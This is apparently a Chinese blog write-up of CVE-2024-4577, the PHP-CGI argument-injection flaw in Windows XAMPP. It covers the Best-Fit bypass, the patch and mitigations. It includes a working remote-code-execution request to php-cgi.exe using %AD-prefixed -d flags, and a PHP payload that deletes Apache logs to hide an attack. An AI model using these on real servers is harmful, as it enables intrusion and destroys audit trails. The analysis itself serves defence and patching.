五一假期,偶然间刷到了这个漏洞,我用shodan和钟馗之眼做了资产扫描,发现大量有使用XMAPP的用户,并且攻击成本并不高,危害却很大。
中国工程院院士邬贺铨曾说过:“网络安全永远在路上,那么总是要不断在完善,可以说见招拆招”。漏洞评分达到了惊人的9.8,这篇文章必须写。
漏洞影响力
- 用户众多: 经资产扫描,很多用户都用的XMAPP,有漏洞的版本至今可以轻而易举的下载到,相信有不少开发者使用包含次漏洞的版本。
- 导致服务器沦陷: 可以通过远程代码执行,执行任意PHP指令,PHP可以对文件、数据库进行增删改查操作,那就相当于服务器沦陷,这里就不必演示了。
- 可能导致被攻击后无法溯源: 由于Windows不像Linux系统那样对文件权限,和应用所属用户有要求,因此攻击后可以paylod直接传入
<?php unlink('../apache/logs/error.log');unlink('../apache/logs/access.log'); ?>
删除请求日志用于销毁攻击过程,亲测即使Apache处于运行状态也好使。如果服务器实例本身或上游节点没做请求记录,溯源都不可能。
漏洞成因
Windows的Best-Fit字符编码转换特性导致PHP原本的安全限制被绕过,导致攻击者可以通过特定的字符序列绕过此前CVE-2012-1823的防护,从而导致远程代码执行。
受影响版本
- 系统:Windows 包含繁体中文(950)、简体中文(936)、日文(932),理论上不排除其它语言的windows也有漏洞。
- 软件:XAMPP
- PHP受影响版本:
- PHP8.3 < 8.3.8
- PHP8.2 < 8.2.20
- PHP8.1 < 8.1.29
- 其它低版本的PHP已不在维护,可能会受到影响。
复现
- 下载:找到XAMPP下载站点,我用的是8.1.25 / PHP 8.1.25,https://www.apachefriends.org/download.html,下载直链地址:https://nchc.dl.sourceforge.net/project/xampp/XAMPP%20Windows/8.1.25/xampp-windows-x64-8.1.25-0-VS16-installer.exe?viasf=1
- 安装:直接傻瓜式安装,点击下一步就可以了,我用虚拟机,直接安装在C:/xampp。
- 启动:打开C:/xampp,有一个xampp-control.exe,双击打开后,进入可视化的控制面板,启动Apache即可。
- 构造参数如下(不要用APIPost等专业的接口请求工具,否则不遵循RestFul下限的请求将导致无法复现):
POST的请求方式。
URL: 电脑IP/php-cgi/php-cgi.exe?%ADd+cgi.force_redirect%3d0+%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input
Header:Content-Type 设置为 application/x-www-form-urlencoded
Body:直接传入<?php phpinfo(); ?>即可,不需要form表单提交所谓的name=value
然后发送请求,部分乱码返回不用管,直接RCE了。
漏洞原理分析
绕过原理分析
- Unicode官网提供了Windows的Best-Fit字符编码转换最基础的数据支撑:https://unicode.org/Public/MAPPINGS/VENDORS/MICSFT/WindowsBestFit/bestfit936.txt 52行、25410行,24601行中不难发现,-有
0x00ad
和0x002d
两种表示方式,其中0x00ad称之为连字符
。用PowerShell指令也能得到部分验证:
#[System.Text.Encoding]::UTF8.GetBytes('-') 会将字符 - 转换为它的 UTF-8 字节序列。
#ForEach-Object { '{0:X2}' -f $_ } 将字节序列的每个字节转换为十六进制格式。
[System.Text.Encoding]::UTF8.GetBytes('-') | ForEach-Object { '{0:X2}' -f $_ }
- 并且还需要知道一个前提:CGI 处理程序提供一个连字符 (0xAD),CGI处理程序不会认为有必要对其进行转义,而是会将其传递给PHP,但PHP会将其解释为真正的链接符号字符,这使得攻击者能够将以连字符开头的额外命令行参数偷偷带入PHP进程
- 根据https://pentesterlab.com/exercises/cve-2012-1823显示,利用
-d allow_url_include=1 -d auto_prepend_file=php://input
是直接可以注入,从而实现RCE的。 - 刚好,网络安全员利用了%ad这个字符组合,通过Best-Fit匹配到的是连字符-,直接绕过了
if(*p == '-') {skip_getopt = 1;}
的等值判断,注意传入%,实际上是url转义的结果,url转义-的结果是%2d
,那么就传入%AD绕过
,前面的0x00可直接省略。 - 然后再看PHP源码仓库的对该漏洞的补丁:https://github.com/php/php-src/commit/4dd9a36c165974c84c4217aa41849b70a9fc19c9,从中不难发现:新增的PHP_WIN32代码段,对字符编码做了严格的过滤操作,以防止
*p == '-'
绕过,设置唯一的目的是使得后面传入的字符串不做参数解析,不做解析相当于没有业务逻辑要处理,自然到此为止。
原本的
if(*p == '-') {
skip_getopt = 1;
}
增加了如下方代码,翻译过来是,我们必须考虑“best fit”映射行为,通过
/* On Windows we have to take into account the "best fit" mapping behaviour. */
#ifdef PHP_WIN32
if (*p >= 0x80) { //检查字符是否为高字节(大于等于 0x80)
wchar_t wide_buf[1]; //创建一个宽字符数组,用来存放当前字符
wide_buf[0] = *p; //将字符 *p 存放到 wide_buf[0] 中
char char_buf[4]; //创建一个多字节字符数组,用来存放转换后的字符
size_t wide_buf_len = sizeof(wide_buf) / sizeof(wide_buf[0]); //计算宽字符数组的长度(这里只包含一个字符)
size_t char_buf_len = sizeof(char_buf) / sizeof(char_buf[0]); //计算多字节字符数组的长度(最多 4 个字节)
// 将宽字符转换为多字节字符,使用 Windows 的 WideCharToMultiByte 函数
if (WideCharToMultiByte(CP_ACP, 0, wide_buf, wide_buf_len, char_buf, char_buf_len, NULL, NULL) == 0
|| char_buf[0] == '-') { // 如果转换失败或转换后的第一个字符是 '-'
skip_getopt = 1; // 设置跳过 getopt 选项的标志
}
}
#endif
RCE攻击链路分析
- 环境配置漏洞1:打开C:/xampp/apache/conf/httpd.conf,第104行,LoadModule cgi_module modules/mod_cgi.so,指的是Apache使用CGI模式与后端程序运行,也只有PHP的CGI模式运行,有这个漏洞。
- 环境配置漏洞2:然后再打开C:/xampp/apache/conf/extra/httpd-xampp.conf第48行,这就决定攻击url可以访问到php-cgi.exe核心二进制文件的原因。
ScriptAlias /php-cgi/ "C:/xampp/php/" #任何以 /php-cgi/开头的 URL 请求都会被 Apache 转发到 C:/xampp/php/目录下的文件。
<Directory "C:/xampp/php"> #指定了对 C:/xampp/php/目录的访问控制设置。它包裹了一些Directory内部的指令,用来限制或允许该目录下文件的访问。
AllowOverride None #指定不允许在该目录内使用 .htaccess 文件覆盖全局配置
Options None #禁用了 C:/xampp/php/目录下所有的选项(如目录列表、符号链接等),用于减少安全风险。
Require all denied #默认情况下,C:/xampp/php/目录下的所有文件和资源都拒绝访问
<Files "php-cgi.exe"> #声明文件php-cgi.exe,准备做另外的权限控制
Require all granted #做的是允许php-cgi.exe文件的访问
</Files>
</Directory>
- 再回头看php-cgi.exe,他是PHP的CGI方式运行的可执行文件,用于在Windows环境中运行PHP 脚本,并且有个前提直到它支持接受GET、POST参数的。拖到命令行,并添加-h,显示如下,其中最值得注意的-d参数,用于定义ini配置参数(并不是将配置写入文件,而是运行期间定义ini配置),这为下游的RCE做好了准备。
php-cgi.exe -h
Usage: php [-q] [-h] [-s] [-v] [-i] [-f <file>]
php <file> [args...]
-a Run interactively
-b <address:port>|<port> Bind Path for external FASTCGI Server mode
-C Do not chdir to the script's directory
-c <path>|<file> Look for php.ini file in this directory
-n No php.ini file will be used
-d foo[=bar] Define INI entry foo with value 'bar'
-e Generate extended information for debugger/profiler
-f <file> Parse <file>. Implies `-q'
-h This help
-i PHP information
-l Syntax check only (lint)
-m Show compiled in modules
-q Quiet-mode. Suppress HTTP Header output.
-s Display colour syntax highlighted source.
-v Version number
-w Display source with stripped comments and whitespace.
-z <file> Load Zend extension <file>.
-T <count> Measure execution time of script repeated <count> times.
- 根据上游的说明,解析参数
%ADd+cgi.force_redirect%3d0+%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input
,就变成了-d+cgi.force_redirect=0+-d+allow_url_include=1+-d+auto_prepend_file=php://input
- cgi.force_redirect=0:https://www.php.net/manual/zh/ini.core.php#ini.cgi.force-redirect 用于控制 PHP 是否可以直接被请求,而不通过 Web 服务器(如 Apache 或 Nginx)的代理,值为1时,PHP 会强制要求请求通过 Web 服务器来进行,这个不加不行,链路必须通过Apache,毕竟是通过Apache才能在线访问的到php-cgi.exe。
- allow_url_include=1:https://www.php.net/manual/zh/filesystem.configuration.php#ini.allow-url-include表示允许PHP可以include或require远程文件,或在线的文件。
- auto_prepend_file=php://input:https://www.php.net/manual/zh/ini.core.php#ini.auto-prepend-file,引入远程文件的文件名是,获取原始的POST数据,这个数据,就是上游传到body体的一句话木马:
<?php phpinfo(); ?>
。 - php-cgi cli模式下,kv之间用空格隔开。但是攻击URL中,将+换成空格或%20时,攻击链路就失效了,经查询,+被用于表示空格,这是URL编码的一种习惯做法,看来是历史原因,不过能接受参数就行。
-
- 至此,攻击执行后,完成攻击。
修复方案
- 升级到没有漏洞的PHP版本。
- 对于PHP版本过低升级主版本担心有问题,或不愿升级的用户,打开xampp/apache/conf/extra/httpd-xampp.conf 在约48行左右的
<Directory "C:/xampp/php">
内添加
RewriteEngine On #启用重写
RewriteCond %{QUERY_STRING} ^%ad [NC] #检查URL参数后面%ad开头的路径,NC表示不区分大小写
RewriteRule .? - [F,L] #若任意路径符合上述特征(.?),不对url做修改(-),但是要拒绝访问(F),这是最后一条规则,如果该规则匹配成功,就不会继续处理其他的重写规则(L)
这个将导致攻击返回403
或注释掉:
ScriptAlias /php-cgi/ "C:/xampp/php/"
这个将导致攻击返回404
什么是Windows的Best-Fit字符编码转换
- 概念:一种用于将字符从一种编码格式转换到另一种编码格式的机制。用于处理不同字符集之间的兼容性问题,尤其是在操作系统中不同区域、语言或系统应用间进行字符数据交换时,确保字符能够在不同编码之间尽可能无误地转换。
- 特性:
- 字符映射最接近的匹配:在源编码和目标编码之间,没有完全匹配的字符时,Best-Fit会选择一个最接近的字符来替代。
- 容忍丢失或不兼容的字符:这种转换方法容忍一些字符的丢失,因为它会尝试保留最为接近的字符。即便目标编码中没有对应的字符,也不会让转换失败。
- 通常用于兼容老系统:Best-Fit字符转换常见于Windows的“兼容性模式”,比如在一些不支持Unicode的旧应用程序中,Windows可能使用Best-Fit进行字符集转换,以便旧程序可以在现代系统上运行,而不至于崩溃或产生乱码。
- 应用场景:
- 从ANSI编码到Unicode编码的转换:Windows系统内有大量的基于ANSI编码的程序,这些程序可能并不完全支持Unicode,因此在进行字符集转换时会使用Best-Fit来避免丢失重要信息。
- 在不同语言的系统间转换字符集:Windows支持多种语言,每种语言有自己的字符编码标准。Best-Fit转换在这些不同语言的环境中,可以尽可能减少字符显示错误或乱码问题。
- 优点:
- 可以在没有完全映射的情况下完成字符转换,减少乱码或错误。
- 容错能力强,能够保证一些非标准字符的正常显示。
- 缺点:
- 转换的结果可能不完全准确,尤其是当字符集之间的差异较大时,可能会产生误解或错误的字符显示。
- 在某些情况下,可能会导致字符信息的丢失,因为无法完全还原原始数据。
PHP CGI、Mod、PHP-FPM 3种与Web服务器通信的区别
-
PHP CGI(Common Gateway Interface)
- CGI 是最早的一种Web脚本执行方式,PHP CGI是PHP在CGI模式下的运行方式。每当Web服务器接收到一个PHP请求时,Web服务器会启动一个PHP进程来处理该请求,处理完后再退出。
- 优点:
- 适配较好,支持与主流服务器的通信方式。
- 每个请求都在单独的进程中运行,互相独立,具有较高的隔离性。
- 缺点:
- 每次请求都要启动一个新的PHP进程,因此性能较差。对于高流量网站不适合。
-
PHP Mod(Apache mod_php)
- 这是将PHP集成到Apache Web服务器中的一种方式。PHP作为Apache的一个模块运行,每当Apache处理一个HTTP请求时,PHP 直接在Apache进程中执行。这意味着请求和PHP代码在同一个进程中运行。
- 优点:
- 性能较好:因为Apache和PHP在同一进程中运行。
- 配置简单:不需要额外的进程管理工具,其次是很多集成环境天生就配好了Apache与PHP的组合。
- 缺点:
- 每个Apache进程都会加载PHP,可能会导致资源浪费,尤其是在大量静态资源请求时,没那么轻量级。
-
PHP-FPM(FastCGI Process Manager)
- 原理:PHP-FPM是FastCGI的进程管理器,PHP-FPM在独立的进程池中运行,Nginx服务器通过FastCGI协议将请求交给PHP-FPM进程池处理。PHP-FPM进程池通常是持续运行的,可以在处理多个请求时共享资源,避免了CGI每次启动新进程的开销。
- 优点:
- 性能优于CGI,因为PHP-FPM进程池保持活跃,能够快速响应多个请求。
- 更灵活,可以配置不同的PHP-FPM池来处理不同的请求,比如不同的PHP配置、不同的用户。
- 比 Mod-PHP 更轻量,因为 PHP 进程与 Web 服务器进程是分开的。
- 支持进程池的管理,可以控制最大进程数、内存使用等。
- 缺点:
- 配置略为复杂,需要额外安装和配置PHP-FPM。
- 需要对Nginx进行额外的配置,以支持FastCGI。
CGI、FastCGI、PHP-FPM本身的区别
- CGI:是通用网关接口:一种标准,用来让Web服务器与外部程序(通常是动态语言脚本如PHP、Perl、Python等)进行交互。CGI 程序接收HTTP请求、会启动一个新的进程来执行CGI程序。程序执行完成后,将结果返回给Web服务器。
- 通俗讲:电脑(Web服务器)主机本身完不成拍摄(后端数据复杂计算服务)功能,就需要连接一个摄像头(后端脚本语言),为了两者能够正常通信,就需要指定一套USB协议(CGI)。
- FastCGI是解决CGI的性能问题而生的快速通用网关协议。它不再为每个请求启动一个新的进程,而是复用进程池中的多个进程来处理多个请求。FastCGI启动时会启动一个或多个常驻的进程池,这些进程会监听Web服务器发来的请求。Web服务器与FastCGI程序之间通过协议(通常是Unix socket(套接字)或TCP/IP进行通信。
- PHP-FPM是PHP的一个FastCGI进程管理器。添加进程管理器的概念可以进一步优化通信。例如自动动态调整进程数量、或根据开发者定制化配置固定进程数量、控制进程重启、慢请求超时时间、进程所属用户、用户组等。
漏洞相关链接(鸣谢)
- CVE:https://nvd.nist.gov/vuln/detail/CVE-2024-4577
- POC:https://github.com/search?q=CVE-2024-4577&type=repositories
- PHP源码漏洞补丁:https://github.com/php/php-src/commit/4dd9a36c165974c84c4217aa41849b70a9fc19c9
- PHP官网对补丁的更新日志(8.1为例):https://www.php.net/ChangeLog-8.php#8.1.29
- CVE-2012-1823:https://pentesterlab.com/exercises/cve-2012-1823
- DEVCRE 网络安全团队:https://devco.re/blog/2024/06/06/security-alert-cve-2024-4577-php-cgi-argument-injection-vulnerability-en/?ref=labs.watchtowr.com
- Orange Tsai 所在网络安全团队:https://labs.watchtowr.com/no-way-php-strikes-again-cve-2024-4577/
- Windows WCTABLE:https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-ucoderef/d1980631-6401-428e-a49d-d71394be7da8